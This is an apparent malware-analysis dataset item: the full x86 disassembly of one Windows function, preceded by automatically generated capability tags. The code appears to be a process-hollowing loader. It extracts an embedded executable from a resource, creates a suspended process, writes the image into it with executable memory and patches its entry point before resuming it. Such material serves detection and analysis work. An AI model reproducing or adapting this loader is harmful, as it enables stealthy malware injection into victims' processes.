Function at 0x4e84a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Link many functions at runtime
Parse pe header
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe88
push ebx
xor ebx, ebx
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e910d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xffffffff
push 0x4e9120
call sub.kernel32.dll_LoadLibraryA
mov dword [0x5a9dd8], eax
cmp dword [0x5a9dd8], 0
je 0x4e85ac
push 0x4e9130
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x595a20], eax
push 0x4e9140
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x595a24], eax
push 0x4e9154
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x595a28], eax
push 0x4e9168
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x595a2c], eax
push 0x4e9178
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x595a30], eax
push 0x4e918c
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x595a34], eax
push 0x4e91a0
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x595a38], eax
mov byte [ebp - 0x61], 1
mov eax, dword [ebp - 4]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 8], 0x40
jge 0x4e85c0
mov byte [ebp - 0x61], 0
cmp byte [ebp - 0x61], 0
je 0x4e85d4
mov eax, dword [ebp - 0x78]
cmp word [eax], 0x5a4d
je 0x4e85d4
mov byte [ebp - 0x61], 0
cmp byte [ebp - 0x61], 0
je 0x4e85ee
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0x3c]
add eax, 0xf8
cmp eax, dword [ebp - 8]
jle 0x4e85ee
mov byte [ebp - 0x61], 0
cmp byte [ebp - 0x61], 0
je 0x4e864a
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0x78]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
cmp dword [eax], 0x4550
je 0x4e860f
mov byte [ebp - 0x61], 0
cmp byte [ebp - 0x61], 0
je 0x4e8639
mov eax, dword [ebp - 0x70]
test byte [eax + 0x17], 0x20
jne 0x4e8635
mov eax, dword [ebp - 0x70]
test byte [eax + 0x16], 2
je 0x4e8635
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 0x14]
cmp eax, 0xe0
je 0x4e8639
mov byte [ebp - 0x61], 0
cmp byte [ebp - 0x61], 0
je 0x4e864a
mov eax, dword [ebp - 0x70]
add eax, 0xf8
mov dword [ebp - 0x74], eax
cmp byte [ebp - 0x61], 0
je 0x4e898e
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x54]
call fcn.004e8174
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jl 0x4e87a0
inc eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 0x14]
mov edx, dword [ebp - 0x68]
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 0x74]
add eax, dword [ecx + edx*8 + 0x10]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 8]
cdq
cmp edx, dword [esp + 4]
jne 0x4e86b7
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4e86c9
jmp 0x4e86bb
pop edx
pop eax
jge 0x4e86c9
xor eax, eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x61], 0
jmp 0x4e8791
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
cmp dword [edx + eax*8 + 0xc], 0
je 0x4e873d
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
cmp dword [edx + eax*8 + 8], 0
je 0x4e8713
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x68]
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 0x74]
add eax, dword [ecx + edx*8 + 8]
mov edx, dword [ebp - 0x70]
mov edx, dword [edx + 0x38]
call fcn.004e8174
mov dword [ebp - 0x1c], eax
jmp 0x4e8791
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x68]
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 0x74]
add eax, dword [ecx + edx*8 + 0x10]
mov edx, dword [ebp - 0x70]
mov edx, dword [edx + 0x38]
call fcn.004e8174
mov dword [ebp - 0x1c], eax
jmp 0x4e8791
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x68]
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 0x74]
cmp eax, dword [ecx + edx*8 + 0x10]
jae 0x4e8776
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 0x10]
mov edx, dword [ebp - 0x70]
mov edx, dword [edx + 0x38]
call fcn.004e8174
add dword [ebp - 0x1c], eax
jmp 0x4e8791
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x70]
mov edx, dword [edx + 0x38]
call fcn.004e8174
add dword [ebp - 0x1c], eax
inc dword [ebp - 0x68]
dec dword [ebp - 0xa4]
jne 0x4e8686
cmp byte [ebp - 0x61], 0
je 0x4e87b0
cmp dword [ebp - 0x1c], 0
jne 0x4e87b0
mov byte [ebp - 0x61], 0
cmp byte [ebp - 0x61], 0
je 0x4e898e
push 0x40
push 0x1000
mov eax, dword [ebp - 0x1c]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4e898e
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jl 0x4e884f
inc eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
cmp dword [edx + eax*8 + 0x14], 0
je 0x4e8844
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 0x14]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x54]
cdq
cmp edx, dword [esp + 4]
jne 0x4e8830
cmp eax, dword [esp]
pop edx
pop eax
jbe 0x4e8844
jmp 0x4e8834
pop edx
pop eax
jle 0x4e8844
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x74]
mov eax, dword [edx + eax*8 + 0x14]
mov dword [ebp - 0x54], eax
inc dword [ebp - 0x68]
dec dword [ebp - 0xa4]
jne 0x4e87fc
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x54]
call fcn.004032ec
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 0xf8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x54]
call fcn.004e8174
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jl 0x4e898e
inc eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
cmp dword [edx + eax*8 + 0xc], 0
je 0x4e88cc
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + eax*8 + 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
cmp dword [edx + eax*8 + 0x10], 0
je 0x4e8961
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx + eax*8 + 0x10]
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + eax*8 + 0x14]
add eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x6c]
call fcn.004032ec
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x68]
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 0x20]
cmp eax, dword [ecx + edx*8 + 0x10]
jae 0x4e8941
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + eax*8 + 0x10]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx + 0x38]
call fcn.004e8174
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0x6c], eax
jmp 0x4e897f
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx + 0x38]
call fcn.004e8174
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0x6c], eax
jmp 0x4e897f
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx + 0x38]
call fcn.004e8174
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0x6c], eax
inc dword [ebp - 0x68]
dec dword [ebp - 0xa4]
jne 0x4e88a9
cmp byte [ebp - 0x61], 0
je 0x4e90e7
call fcn.004e81e0
test al, al
je 0x4e89df
lea edx, [ebp - 0x15c]
xor eax, eax
call fcn.00403548
push dword [ebp - 0x15c]
push 0x4e91b8
lea edx, [ebp - 0x160]
mov eax, dword [ebp - 0xc]
call fcn.0040b8e8
push dword [ebp - 0x160]
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.004057a8
jmp 0x4e8c08
push 0xa
push 0x4e91bc
mov eax, dword [0x5a77f8]
push eax
call sub.kernel32.dll_FindResourceA
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
push eax
mov eax, dword [0x5a77f8]
push eax
call sub.kernel32.dll_LoadResource
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
call sub.kernel32.dll_LockResource
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x40]
push eax
mov eax, dword [0x5a77f8]
push eax
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
call fcn.00402fb0
mov dword [ebp - 0x58], eax
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x54]
call fcn.004032ec
mov eax, dword [ebp - 0x44]
push eax
call sub.kernel32.dll_FreeResource
mov eax, dword [ebp - 0x58]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
add eax, 0xf8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x5c]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0x50]
cmp eax, dword [ebp - 0x1c]
jae 0x4e8a9d
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x1c]
sub edx, dword [eax + 0x50]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x48]
add dword [eax + 0x50], edx
mov eax, dword [ebp - 0x5c]
movzx eax, word [eax + 6]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x48]
add dword [edx + eax*8 - 0x20], ecx
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00403548
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
je 0x4e8aca
mov eax, dword [ebp - 0xa8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0x164]
push eax
mov ecx, dword [ebp - 0xa8]
sub ecx, 4
mov edx, 1
mov eax, dword [ebp - 0x28]
call fcn.0040590c
mov edx, dword [ebp - 0x164]
lea eax, [ebp - 0x28]
mov ecx, 0x4e91d0
call fcn.0040572c
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xa
jae 0x4e8bd2
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
call fcn.004058a4
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jge 0x4e8ba6
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
je 0x4e8b55
mov eax, dword [ebp - 0xac]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0x168]
push eax
mov ecx, dword [ebp - 0xac]
sub ecx, 3
mov edx, 1
mov eax, dword [ebp - 0x28]
call fcn.0040590c
push dword [ebp - 0x168]
push 0x4e91e0
lea eax, [ebp - 0x16c]
mov dl, byte [ebp - 0x40]
add dl, 0x30
call fcn.004055ec
push dword [ebp - 0x16c]
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.004057a8
inc dword [ebp - 0x40]
jmp 0x4e8bc8
push 0
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x50]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebp - 0x50]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x4e8bd2
cmp dword [ebp - 0x40], 0xa
jb 0x4e8b09
push 0x4e91ec
push dword [ebp - 0x28]
push 0x4e91ec
lea eax, [ebp - 0x170]
mov edx, dword [ebp - 0xc]
call fcn.0040560c
push dword [ebp - 0x170]
lea eax, [ebp - 0x28]
mov edx, 4
call fcn.004057a8
mov eax, dword [ebp - 0x58]
call fcn.00402fcc
lea eax, [ebp - 0xf0]
xor ecx, ecx
mov edx, 0x44
call fcn.00403bfc
mov dword [ebp - 0xf0], 0x44
mov eax, 0xcc
call fcn.00402fb0
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov edx, 0xcc
call fcn.00403bfc
lea edx, [ebp - 0x7d]
lea eax, [ebp - 0x9c]
mov ecx, 4
call fcn.004032ec
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0xf0]
push eax
lea edx, [ebp - 0x178]
xor eax, eax
call fcn.00403548
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.0040b2f0
mov eax, dword [ebp - 0x174]
call fcn.004058a4
push eax
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 0x28]
call fcn.004058a4
push eax
push 0
call dword [0x595a20]
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x4e8d39
mov eax, dword [ebp - 0x34]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x34]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
push eax
call dword [0x595a24]
lea eax, [ebp - 0x38]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a28]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
jmp 0x4e8d13
cmp dword [ebp - 0xfc], 0x10000
je 0x4e8d30
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x100]
mov dword [ebp - 0x4c], eax
push 0x1c
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a2c]
test eax, eax
jne 0x4e8cfb
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], 0xffffffff
cmp byte [ebp - 0x21], 0
je 0x4e90bd
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
cmp eax, dword [ebp - 0x2c]
jne 0x4e8d84
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x1c]
jb 0x4e8d84
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x38]
push eax
push 0x40
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a34]
jmp 0x4e8e01
call fcn.004e81e0
test al, al
je 0x4e8e01
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x2c]
call fcn.004e82f0
test al, al
je 0x4e8dbf
push 0x40
push 0x3000
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a3c]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x4e8e01
mov eax, dword [ebp - 0x14]
call fcn.004e81ac
test al, al
je 0x4e8e01
push 0x40
push 0x3000
mov eax, dword [ebp - 0x1c]
push eax
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a3c]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x4e8e01
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
call fcn.004e8250
cmp dword [ebp - 0x4c], 0
je 0x4e9096
lea eax, [ebp - 0x38]
push eax
push 4
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a30]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x4c]
mov dword [eax + 0x34], edx
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a30]
test eax, eax
je 0x4e906d
mov eax, dword [ebp - 0x34]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x2c]
jne 0x4e8e80
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x14]
add eax, dword [edx + 0x28]
mov dword [ebp - 0xa0], eax
jmp 0x4e8e8f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0xa0], eax
push 0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call fcn.004e8370
mov dword [ebp - 0x84], eax
push 0x40
push 0x1000
push 0x10000
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x90]
push eax
push 0x30
lea eax, [ebp - 0x155]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a28]
mov eax, dword [ebp - 0x88]
add eax, 0x200
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x90]
push eax
push 0x30
lea eax, [ebp - 0x155]
push eax
mov eax, dword [ebp - 0x8c]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a30]
mov byte [ebp - 0x125], 0x60
mov byte [ebp - 0x124], 0xb9
mov dword [ebp - 0x123], 0x30
mov byte [ebp - 0x11f], 0xbe
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x11e], eax
mov byte [ebp - 0x11a], 0xbf
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x119], eax
mov word [ebp - 0x115], 0xa4f3
mov byte [ebp - 0x113], 0x61
mov byte [ebp - 0x112], 0x68
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x111], eax
mov byte [ebp - 0x10d], 0xc3
lea eax, [ebp - 0x3c]
push eax
push 0x40
push 0x19
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a34]
lea eax, [ebp - 0x90]
push eax
push 0x19
lea eax, [ebp - 0x125]
push eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a30]
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x3c]
push eax
push 0x19
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a34]
mov byte [ebp - 0x95], 0xe9
mov eax, dword [ebp - 0x88]
sub eax, dword [ebp - 0x84]
sub eax, 5
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x3c]
push eax
push 0x40
push 5
mov eax, dword [ebp - 0x84]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a34]
lea eax, [ebp - 0x90]
push eax
push 5
lea eax, [ebp - 0x95]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a30]
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x3c]
push eax
push 5
mov eax, dword [ebp - 0x84]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call dword [0x595a34]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
push eax
call dword [0x595a38]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x4e90bd
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0x10], 0xffffffff
jmp 0x4e90bd
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0x10], 0xffffffff
mov edx, 0xcc
mov eax, dword [ebp - 0x34]
call fcn.00402fcc
mov eax, dword [0x5a9dd8]
push eax
call sub.kernel32.dll_FreeLibrary_1
push 0x4000
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualFree_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e9114
lea eax, [ebp - 0x178]
mov edx, 8
call fcn.00405428
lea eax, [ebp - 0x28]
call fcn.00405404
ret